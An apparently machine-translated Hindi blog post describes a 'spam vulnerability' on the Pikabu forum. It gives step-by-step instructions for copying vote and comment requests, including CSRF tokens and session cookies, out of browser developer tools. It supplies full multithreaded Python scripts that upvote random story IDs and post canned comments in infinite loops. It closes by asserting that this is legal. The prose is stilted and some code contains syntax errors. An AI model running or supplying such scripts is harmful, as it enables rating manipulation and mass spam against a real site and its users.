पिकाबू स्पैम भेद्यता

नमस्ते मैं Pikabu फोरम की स्पैम भेद्यता के बारे में बात करना चाहूंगा।

मुझे लगता है कि मंच सबसे अच्छा नहीं है, इसलिए मैं इस पर सब कुछ परीक्षण कर रहा हूं।

क्या कहना है?

भेद्यता गतिविधि में वृद्धि, रेटिंग की संख्या, पायथन स्क्रिप्ट का उपयोग करते हुए न्यूनतम समय के लिए टिप्पणी में निहित है।

मुझे दिखाओ!

24 घंटे के भीतर स्क्रिप्ट ऑपरेशन:

लगता है कि मैंने HTML संपादित किया है? और नहीं!

आपने ऐसा कैसे किया!

बहुत आसान है!

सबसे पहले, एक .py फ़ाइल बनाएं:

अगला, आइए उन मॉड्यूलों को आयात करें जिनके साथ हम कार्रवाई करने के लिए अनुरोध करेंगे, साथ ही हमारी स्क्रिप्ट को मल्टीथ्रेडिंग करने के लिए एक मॉड्यूल:

import requests from threading import Thread 

अब एक अनंत लूप के साथ एक फ़ंक्शन बनाते हैं जो हमारे अनुरोध भेजता है:

 def spam(): while True: req = requests.post('') 

लेकिन आप अनुरोध डेटा को कैसे जानते हैं?

फायरफॉक्स खोलें, पिकाबू जाएं।

कोई भी विषय चुनें। ऊपर तीर पर होवर करें:

अब कुंजी संयोजन दबाएँ: cntr + shift + i।

डेवलपर टूलबार स्क्रीन पर दिखाई दिया:

महंगे मंच उपयोगकर्ताओं की दृष्टि को संरक्षित करने के लिए - मुझे AdBlock विषय (ओम) को काटना पड़ा:

चलो "नेटवर्क" टैब पर जाएं।

अब हम इस ब्राउज़र में सभी आउटगोइंग अनुरोधों को देखते हैं।

"विषय दर" तीर पर क्लिक करें और जल्दी से क्वेरी पैनल देखें।
"विधि" बटन दबाएं जब तक कि पहला अनुरोध "POST" प्रकार का अनुरोध न हो:

पहले प्रश्नों के बीच, इसे खोजें:

उस पर राइट-क्लिक करें, और कॉपी बटन पर होवर करें, कॉपी POST डेटा चुनें। इसके बाद, डेटा को इस तरह से क्वेरी में डालें:

 req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

लेकिन फिर हम उसी पोस्ट का मूल्यांकन करेंगे!

इसे ठीक करने के लिए, कोड का उपयोग करके पहले से आयातित मॉड्यूल में "यादृच्छिक" मॉड्यूल जोड़ें:

 import random 

और लूप में लाइन जोड़ें:

 story = random.randint(1000000, 6865568) 

चलो एक अनुरोध बनाने के लिए जारी! यहाँ हम पहले से ही किया है:

 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

सबसे महत्वपूर्ण बात - हेडर अनुरोध में जोड़ें। चलिए FireFox पर वापस जाते हैं, अनुरोध पर बस राइट-क्लिक करें, "कॉपी करें" चुनें, लेकिन इस बार - "अनुरोध हेडर"।
उसी तरह, बृहदान्त्र और उद्धरण चिह्नों के माध्यम से, उन्हें कोड में डालें:

 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) 

"आपका डेटा" फ़ील्ड में, अपने मान डालें।

अनुरोध की स्थिति प्रदर्शित करें:

 print(req) 

यदि "रिस्पॉन्स <200>" प्रदर्शित होता है, तो अनुरोध भेजा गया है और विषय को रेट किया गया है।
इसके बाद, हम स्क्रिप्ट को थोड़ा तेज़ (ठीक 55 बार) करेंगे।

हमारे अनुरोधों के लिए थ्रेडिंग बनाएं:

 for i in range(55): thr = Thread(target = spam) thr.start() 

खैर, यह बात है! आप दौड़ सकते हैं।

और यहाँ पूरा कोड है:

 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start() 

इसी तरह से ठगी की टिप्पणियां की जाती हैं। मैं इसे विस्तार से नहीं बताऊंगा, बस कोड रखना:

 # -*- coding: utf8 -*- import requests from threading import Thread import random def sender(): comments = [' !  !  !', ' ! !    !', '  ! !     ...', '!  !', '  .  !', ', !', ' !  !  !', ' ! !'] while True: #6863803 postid = random.randint(1000000, 6865568) comnom = random.randint(0, 7) req = requests.post('https://pikabu.ru/ajax/comments_actions.php', data = { 'desc':comments[comnom], 'action':'create', 'story_id':postid, 'parent_id':'0', 'images':'[]' }, headers = { 'Accept':'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding':'gzip, deflate, br', 'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Content-Length':'23', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie':' ', 'Host':'pikabu.ru', 'Referer':'https://pikabu.ru/', 'TE':'Trailers', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0', 'X-Csrf-Token':' ', 'X-Requested-With':'XMLHttpRequest'}) print(postid, ' commented: ',req.text) for i in range(35): thr = Thread(target = sender) thr.start() print(thr) print('All thread are initialized! Programm started!') 

खैर, यह सब है। आप पोस्ट और टिप्पणियों को तूफानी कर सकते हैं।

सौभाग्य है

लव हब्र।

उपरोक्त कार्य पूरी तरह से कानूनी हैं, 10/02/2019 को रूसी संघ के आपराधिक संहिता के एक से अधिक लेख का उल्लंघन नहीं करते हैं।